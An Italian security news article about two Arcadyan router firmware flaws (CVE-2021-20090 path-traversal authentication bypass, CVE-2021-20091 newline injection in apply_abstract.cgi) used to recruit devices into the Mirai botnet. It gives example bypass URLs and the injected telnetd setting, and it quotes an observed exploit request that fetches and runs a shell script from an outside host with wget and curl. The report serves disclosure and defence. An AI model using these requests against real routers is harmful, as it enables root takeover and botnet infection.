È stata registrata una massiccia attacco ai router domestici, nei cui firmware è presente un'implementazione del server http della società Arcadyan. Per ottenere il controllo sui dispositivi viene utilizzata una combinazione di due vulnerabilità che consentono di eseguire codice arbitrario in remoto con privilegi di root. Il problema interessa un ampio spettro di router ADSL delle aziende Arcadyan, ASUS e Buffalo, oltre a dispositivi forniti con i marchi Beeline (il problema è confermato nel Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone e altri operatori di telecomunicazioni. Si segnala che la vulnerabilità è presente nei firmware di Arcadyan da oltre 10 anni e nel frattempo è riuscita a diffondersi in almeno 20 modelli di dispositivi di 17 diversi produttori.
La prima vulnerabilità CVE-2021-20090 consente di accedere a qualsiasi script dell'interfaccia web senza autenticazione. La vulnerabilità consiste nel fatto che, nell'interfaccia web, alcune directory che forniscono immagini, file CSS e script JavaScript sono accessibili senza autenticazione. Inoltre, il controllo delle directory per cui è consentito l'accesso senza autenticazione viene effettuato sulla base di una maschera iniziale. L'uso del carattere «..\/» nei percorsi per risalire alla directory parent è bloccato dal firmware, ma la combinazione «..» viene invece accettata. Pertanto, è possibile aprire pagine protette inviando richieste simili a «http:\/\/192.168.1.1\/images\/..index.htm».
La seconda vulnerabilità CVE-2021-20091 consente a un utente autenticato di modificare le impostazioni di sistema del dispositivo inviando parametri appositamente formattati allo script apply_abstract.cgi, che non verifica la presenza del carattere di nuova linea nei parametri. Ad esempio, un attaccante può specificare il valore «192.168.1.2ARC_SYS_TelnetdEnable=1» nel campo relativo all'indirizzo IP durante l'operazione di ping e lo script, durante la creazione del file di configurazione in /tmp/etc/config/.glbcfg, registrerà la stringa «AARC_SYS_TelnetdEnable=1», che attiva un server telnetd, che fornisce accesso illimitato alla shell dei comandi con privilegi di root. Allo stesso modo, mediante l'impostazione del parametro AARC_SYS, è possibile eseguire qualsiasi codice nel sistema. La prima vulnerabilità consente di eseguire lo script problematico senza autenticazione, accedendo ad esso come «\/images\/..apply_abstract.cgi».
Per sfruttare le vulnerabilità, un attaccante deve avere la possibilità di inviare una richiesta a una porta di rete su cui è in esecuzione l'interfaccia web. Dalla dinamica della diffusione dell'attacco, molti operatori lasciano l'accesso dalla rete esterna sui propri dispositivi per semplificare la diagnosi dei problemi da parte del servizio di supporto. Limitando l'accesso all'interfaccia solo alla rete interna, l'attacco può essere eseguito dalla rete esterna utilizzando la tecnica del "DNS rebinding". Le vulnerabilità sono già attivamente utilizzate per connettere i router al botnet Mirai: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://212.192.241.72/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Fonte: opennet.ru
